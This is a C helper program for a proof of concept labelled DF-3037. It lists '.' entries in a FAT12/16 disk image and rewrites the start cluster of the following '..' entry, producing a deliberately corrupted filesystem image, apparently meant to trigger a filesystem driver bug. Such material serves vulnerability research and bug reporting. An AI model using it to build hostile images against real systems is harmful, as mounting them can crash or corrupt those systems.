DF-3037 / dirpatch.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * dirpatch.c -- helper for DF-3037 PoC. * * dirpatch <img> list every "." directory entry found in the * image: byte offset of the entry and the * directory's own start cluster (from the * "." entry itself). * dirpatch <img> p <dotOff> <cl> * patch the ".." entry that immediately * follows the "." entry at byte offset * <dotOff> so that ".." points at cluster * <cl> (16-bit deStartCluster; FAT12/16). * * Only deStartCluster (entry bytes 26..27, LE) is rewritten; the entry is * validated to look like ".. " + ATTR_DIRECTORY first. */ #include <sys/types.h> #include <err.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define DIRENT_SIZE 32 static uint16_t rd16(const unsigned char *p) { return (uint16_t)(p[0] | (p[1] << 8)); } static void wr16(unsigned char *p, uint16_t v) { p[0] = v & 0xff; p[1] = v >> 8; } int main(int argc, char **argv) { int fd; off_t sz, o; unsigned char *img; ssize_t n; if (argc != 2 && argc != 5) { fprintf(stderr, "usage: %s img | %s img p <dotOff> <cl>\n", argv[0], argv[0]); return (2); } fd = open(argv[1], O_RDWR); if (fd < 0) err(1, "open %s", argv[1]); sz = lseek(fd, 0, SEEK_END); img = malloc(sz); if (img == NULL) err(1, "malloc"); lseek(fd, 0, SEEK_SET); n = read(fd, img, sz); if (n != sz) err(1, "read"); if (argc == 2) { printf("# off(cluster-start of '.' entry) own-cluster\n"); for (o = 0; o + 2 * DIRENT_SIZE <= sz; o += DIRENT_SIZE) { unsigned char *e = img + o; if (e[11] != 0x10) /* ATTR_DIRECTORY */ continue; if (memcmp(e, ". ", 11) != 0) continue; printf("dot at off=%lld owncluster=%u next-entry='%.11s'\n", (long long)o, rd16(e + 26), img + o + DIRENT_SIZE); } free(img); close(fd); return (0); } /* patch mode */ o = strtoll(argv[3], NULL, 0); { unsigned char *dot = img + o; unsigned char *dd = img + o + DIRENT_SIZE; uint16_t cl = (uint16_t)strtoul(argv[4], NULL, 0); if (o < 0 || o + 2 * DIRENT_SIZE > sz) errx(1, "offset out of range"); if (dot[11] != 0x10 || memcmp(dot, ". ", 11) != 0) errx(1, "entry at %lld is not a '.' dir entry", (long long)o); if (dd[11] != 0x10 || memcmp(dd, ".. ", 11) != 0) errx(1, "entry at %lld is not a '..' dir entry", (long long)(o + DIRENT_SIZE)); printf("patching '..' at off=%lld : startcluster %u -> %u\n", (long long)(o + DIRENT_SIZE), rd16(dd + 26), cl); wr16(dd + 26, cl); lseek(fd, o + DIRENT_SIZE, SEEK_SET); n = write(fd, dd, DIRENT_SIZE); if (n != DIRENT_SIZE) err(1, "write"); } free(img); close(fd); return (0); } |